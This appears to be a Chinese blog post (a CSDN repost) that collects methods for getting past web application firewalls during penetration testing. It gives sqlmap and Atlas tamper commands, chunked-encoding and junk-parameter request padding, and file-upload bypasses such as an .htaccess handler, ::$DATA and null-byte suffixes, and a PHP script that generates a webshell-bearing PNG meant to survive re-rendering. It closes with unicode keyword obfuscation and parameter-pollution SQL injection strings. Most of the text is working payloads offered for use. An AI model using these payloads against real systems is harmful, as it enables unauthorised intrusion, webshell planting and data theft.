首页 > 其他分享 >WEB渗透Web突破篇-WAF绕过

WEB渗透Web突破篇-WAF绕过

时间:2024-08-09 21:59:06浏览次数:13  
标签:WEB form Web -- WAF random python data id

SQL注入分块传输
https://github.com/c0ny1/chunked-coding-converter

image

image

跑注入点被拦截

image

使用分块传输,右键选择

image

image

使用SQLMAP跑注入

image

image

>python sqlmap.py -r 1.txt --batch --proxy=http://127.0.0.1:8080 --dbs

image

自动提供可用的tamper

Atlas GitHub - m4ll0k/Atlas: Quick SQLMap Tamper Suggester

GET类型的注入

python atlas.py --url http://site.com/index/id/%%% --payload="-1234 AND 4321=4321-- AAAA" --random-agent -v

POST类型的注入

python atlas.py --url http://site.com/index/id/ -m POST -D 'test=%%10%%' --payload="-1234 AND 4321=4321-- AAAA" --random-agent -v

请求头注入

python atlas.py --url http://site.com/index/id/ -H 'User-Agent: mozilla/5.0%%inject%%' -H 'X-header: test' --payload="-1234 AND 4321=4321-- AAAA" --random-agent -v

组合tamper

python atlas.py --url http://site.com/index/id/%%% --payload="-1234 AND 4321=4321-- AAAA" --concat "equaltolike,htmlencode" --random-agent -v

列出tamper

python atlas.py -g

例子注入

python sqlmap.py -u 'http://site.com/index.php?id=Price_ASC' --dbs --random-agent -v 3

image

python atlas.py --url 'http://site.com/index.php?id=Price_ASC' --payload="') AND 8716=4837 AND ('yajr'='yajr" --random-agent -v

image

可以看到被拦截了

查找能绕过的tamper

根据返回码200得到一个可绕过waf的tamper

versionedkeywords这个tamper

继续注入

python sqlmap.py -u 'http://site.com/index.php?id=Price_ASC' --dbs --random-agent -v 3 --tamper=versionedkeywords

根据状态码来判断有时会有点鸡肋,但是也能用用,随机发挥吧。

 

垃圾数据

放到要注入的字段前后

#coding=utf-8
import random,string
from urllib import parse

# code by yzddMr6
varname_min = 5
varname_max = 15
data_min = 20
data_max = 25
num_min = 50
num_max = 100
def randstr(length):
  str_list = [random.choice(string.ascii_letters) for i in range(length)]
  random_str = ''.join(str_list)
  return random_str
def main():
  data={}
  for i in range(num_min,num_max):
    data[randstr(random.randint(varname_min,varname_max))]=randstr(random.randint(data_min,data_max))
  print('&'+parse.urlencode(data)+'&')
main()

 

上传bypass

图片文件头

PNG 的文件头为十六进制的 89 50 4E 47 0D 0A 1A 0A

GIF 为 47 49 46 38 37 61

JPG 为 FF D8 FF E0

添加图片头或合并图片包含

后缀大小写

文件名前缀加[0x09]

上传.htaccess

SetHandler application/x-httpd-php

*二次渲染

GIF 找好一个大一点的GIF,尾部使用c32插入shell,上传,下载回来,使用burp的comparer功能找出整个文件没有被渲染的位置,插入shell再上传

JPG使用脚本直接生成 https://github.com/BlackFan/jpg_payload

PNG 使用脚本直接生成

取消php.ini注释

extension=php_gd2.dll

<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
0x66, 0x44, 0x50, 0x33);
$img = imagecreatetruecolor(32, 32);
for ($y = 0; $y < sizeof($p); $y += 3) {
  $r = $p[$y];
  $g = $p[$y+1];
  $b = $p[$y+2];
  $color = imagecolorallocate($img, $r, $g, $b);
  imagesetpixel($img, round($y / 3), 0, $color);
}
imagepng($img,'./1.png');
?>

上传php3,php4,phtml等

文件名后加::DATA

ConTent−Disposition:form−data;name="filepath";filename="1.asp::DATA** ConTent-Disposition: form-data; name="filepath"; filename="1.asp::DATA

ConTent−Disposition:form−data;name="filepath";filename="1.asp::DATA"

ConTent-Disposition: form-data; name="filepath"; filename="1.asp::$DATA\0x00\1.asp0x00.jpg"

 

asp . (空格+.)

php. .(点+空格+点)

双写phphpp

00截断 Get参数00截断直接添加%00 POST参数00截断修改hex为00

修改一些固定的参数 文件名去掉双引号 加一个filename1的参数 form变量改成f+orm 去掉form-data 在Content-Disposition或form-data;后添加多个空格

引号回车 ConTent-Disposition: form-data; name="filepath"; filename="backlion.asp "

Content-Type和ConTent-Disposition调换位置

文件名前缀加空格 filename= "1.asp"

name前加空格 Content-Disposition: form-data; name="uploaded"; filename="1.asp"

form-data的前后加上+

 Content-Disposition: +form-data; name="filepath"; filename="1.asp"

ASP+IIS

s%elect>select

s%u0065lect>select
s%u00f0lect>select

s%u0045lect =

s%u0065lect = %u00f0lect

u -->%u0055 --> %u0075

n -->%u004e --> %u006e

i -->%u0049 --> %u0069

o -->%u004f --> %u006f -->%u00ba

s -->%u0053 --> %u0073

l -->%u004

c --> %u006c

e -->%u0045 --> %u0065-->%u00f0

c -->%u0043 --> %u0063

t -->%u0054 -->%u0074 -->%u00de -->%u00fe

f -->%u0046 -->%u0066

r -->%u0052 -->%u0072

m -->%u004d -->%u006d

Asp+iis&aspx+iis

s%u006c%u0006ect>select

 apache

TEST /sql.php?id=1 HTTP/1.1

大小写/关键字

UniOn SeLECT

Mid()substring() ? substr()

Hex()?ascii()

sleep() =benchmark()

concat_ws()=group_concat()

双重url编码

变换请求方式

HPP参数污染

id=1&id=2&id=3 得到的结果:

Asp.net + iis

id=1,2,3

Asp+iis

id=1,2,3

Php+apache

id=3

MSSQL: GET+POST:

GET:http://192.168.125.140/test/sql.aspx?id=1 union/*

post: id=2*/select null,null,null

无逗号形式:

?id=1 union select 1&id=2&id=3&id=4 from admin--()

利用逗号:

?a=1+union/&b=/select+1,pass/&c=/from+users--

无效参数形式

?a=/&sql=xxx&b=/ a,b为无效参数

溢出形式

?id=1/&id=//&id=//......&id=//&id=/ union select null,system_user,null from INFORMATION_SCHEMA.schemata

MYSQL

?id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=….. &id=1 union select 1,2 from admin

标签:WEB,form,Web,--,WAF,random,python,data,id
From: https://blog.csdn.net/qq_59468567/article/details/140925743

相关文章

  • WebSocket入门
    1介绍WebSocket是基于TCP的一种新的网络协议。它实现了浏览器与服务器全双工通信——浏览器和服务器只需要完成一次握手,两者之间就可以创建持久性的连接,并进行双向数据传输。HTTP协议和WebSocket协议对比:HTTP是短连接WebSocket是长连接HTTP通信是单向的,基于请求响......
  • 基于腾讯云EdgeOne的自适应webp转换
    基于腾讯云EdgeOne的自适应webp转换EdgeOne是腾讯云提出的边缘计算相关产品,和CloudFlare的小黄云类似,实际上大致等于CDN+安全防护,同时它还提供了边缘函数来提供我们使用,我们可以借助边缘函数实现一些功能,比如说自动将请求的png或jpg图片转换成webp,从而节省流量,加快网站的访问速度......
  • 从maven到SpringBootWeb入门
    Maven-SpringBootWeb入门maven安装安装步骤测试配置Maven环境当前工程全局IDEA创建Maven项目IDEA导入Maven项目依赖管理依赖配置依赖传递排除依赖 依赖范围生命周期Web入门SpringBootWeb快速入门HTTP协议请求协议响应协议Tomcat基本使用maven......
  • .net core web 启动过程(1)
    1.要了解启动过程,先介绍 IHostingStartup和IStartup接口///<summary>///Representsplatformspecificconfigurationthatwillbeappliedtoa<seecref="IWebHostBuilder"/>whenbuildingan<seecref="IWebHost"/>.///</summary......
  • .net core web 启动过程(2)
    在.netcoreweb启动过程(1)中介绍了IHostStartup的执行过程,该文章主要介绍IStartup的执行过程。最常用的配置Startup方式,通过调用webHostBuilder扩展方法UseStartup<T>来指定。varhost=newHostBuilder().ConfigureWebHost(webHostBuilder=>{......
  • ssm+vue基于VUE的Web购物网站的设计与开发【开题+程序+论文】-计算机毕业设计
    本系统(程序+源码)带文档lw万字以上文末可获取一份本项目的java源码和数据库参考。系统程序文件列表开题报告内容研究背景随着互联网技术的飞速发展,电子商务已成为全球经济的重要组成部分,深刻改变了人们的消费习惯与商业模式。购物网站作为电子商务的核心载体,不仅为消费者......
  • 基于 go-zero 框架的项目中集成 WebSocket
    WebSocket集成指南本文档描述了如何在基于go-zero框架的项目中集成WebSocket。1.安装依赖首先,安装gorilla/websocket库:gogetgithub.com/gorilla/websocket2.项目结构在项目中添加以下文件和目录:└──pkg└──websocket└──websocket.go3......
  • Stable Diffusion WebUI v1.10.0重大更新,支持SD3!
    Hello,大家好!前不久,SDWebUI的作者AUTOMATIC1111终于把它更新到了v1.10.0,这次不仅修复以往的一些BUG,提升了一些性能,这次还支持了SD3_medium.safetensors模型以及SD3_LoRA模型,同时还支持T5系列的encoder模型,让我们一起来看看这次更新了哪些内容。更新内容总共有87项更新:1.......
  • 鸿蒙 webview 实现顶部 Progress进度条
    1,先看效果 2,直接cv代码importweb_webviewfrom'@ohos.web.webview';interfacePerUrl{url:string,age:number}@Componentexportstructwebviews{controller:web_webview.WebviewController=newweb_webview.WebviewController();ports:......
  • PHP提升页面加载速度的技巧:打造高效Web应用
    本文由ChatMoney团队出品1.代码优化1.1减少复杂性简化PHP代码可以显著提升执行速度。避免过多的嵌套循环和条件判断,尽量使用内置函数代替自定义函数,因为内置函数通常经过高度优化。1.2函数调用优化频繁的函数调用会产生额外的开销。可以尝试将一些常用函数的调用替换为......